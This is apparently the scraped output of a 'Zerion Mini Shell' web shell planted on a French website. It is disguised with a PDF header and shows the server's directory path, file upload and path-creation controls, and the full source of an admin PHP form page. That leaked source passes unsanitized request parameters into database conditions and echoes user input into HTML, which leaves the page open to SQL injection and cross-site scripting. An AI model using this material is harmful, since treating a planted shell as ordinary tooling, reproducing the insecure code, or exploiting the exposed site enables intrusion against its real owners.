%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/alliance/domains/sedl.alnetis.fr/public_html/
Upload File :
Create Path :
Current File : /home/alliance/domains/sedl.alnetis.fr/public_html/a-ajouter_contrainte.php

<?php
include_once("inc/config.php");
include_once("inc/functions.php");
include_once("inc/session.php");
include_once("inc/init.php");

verif_co_admin();



if(isset($_POST['post']) && $_POST['post'] == 1)
{
	$erreur = $db->verif($_POST['libelle_fr'], "Le libelle français");
	if($erreur == "ok") $erreur = $db->verif($_POST['libelle_en'], "Le libelle anglais");
	if($erreur == "ok") $erreur = $db->verif($_POST['profil'], "Le profil");
	if($erreur == "ok")
	{
		// question
		$next_ordre = $db->next_ordre("condition","edition=".$_GET['id']." AND profil=".$_POST['profil']);
		$next_id = $db->next_id("condition");
		$values = array(
			"id" => $next_id,
			"edition" => $_GET['id'],
			"ordre" => $next_ordre,
			"profil" =>$_POST['profil']);

		$db->insert("condition", $values);
		
		
		//question_fr
		$values = array (
			"condition" => $next_id,
			"lang" => 1,
			"libelle" => $_POST['libelle_fr'] );
		$db->insert("condition_lang", $values);
			
		//question_en
		$values = array (
			"condition" => $next_id,
			"lang" => 2,
			"libelle" => $_POST['libelle_en']);
		$db->insert("condition_lang", $values);
	
		header("Location:gerer_contrainte.php?msg=yes&id=".$_GET['id']);
	}
	else {
		$err = true;
	}
}

//affichage du html
include("theme/html.php");
//affichage des metas
include("theme/meta.php");
echo "\n<title>Ajouter un engagment - ".$info_titresite."</title>\n";
//affichage du header
include("theme/header_admin.php");

$this_edition=$edition->getEdition($_GET['id']);
?>

<div class="text_admin">
<h2>Ajouter un engagement </h2>
<h3><?=$this_edition['titre']?></h3>
<?php
if($_GET['msg']=="yes") {
	echo "<p class=\"infobloc\">Opération effectuée</p>";
}
if(isset($err) && $err) {
	echo "<p class=\"erreurbloc\">".$erreur."</p>";
}	
?>
<form action="admin/ajouter_contrainte.php?id=<?=$_GET['id']?>" method="post" class="form">
	<table>
		<tr>
			<td class="label"></td>
			<td class="field head">Français</td>
			<td class="field head">Anglais</td>
		</tr>
		<tr>
			<td class="label">Libelle de l'engagement <span class="etoile">*</span></td>
			<td class="field"><input type="text" name="libelle_fr" value="<?php echo $_POST['libelle_fr']; ?>" /></td>
			<td class="field"><input type="text" name="libelle_en" value="<?php echo $_POST['libelle_en']; ?>" /></td>
		</tr>
		<tr>
			<td class="label">Profil de la ville <span class="etoile">*</span></td>
			<td colspan="2" >
				<input type="radio" name="profil" value="1" checked="checked" /> <?=$profil->getLibelle(1)?><br/>
				<input type="radio" name="profil" value="2" /> <?=$profil->getLibelle(2)?><br/>
				<input type="radio" name="profil" value="3" /> <?=$profil->getLibelle(3)?><br/>
			</td>
			
		</tr>
		
		
	</table>
	<div class="form_bouton">
		<input type="hidden" name="post" value="1" />
		<input type="submit" class="bouton" id="maj_bouton" value="Créer l'engagement" />
	</div>
</form>


</div>

<?

//affichage du footer
include("theme/footer.php");

?>

Zerion Mini Shell 1.0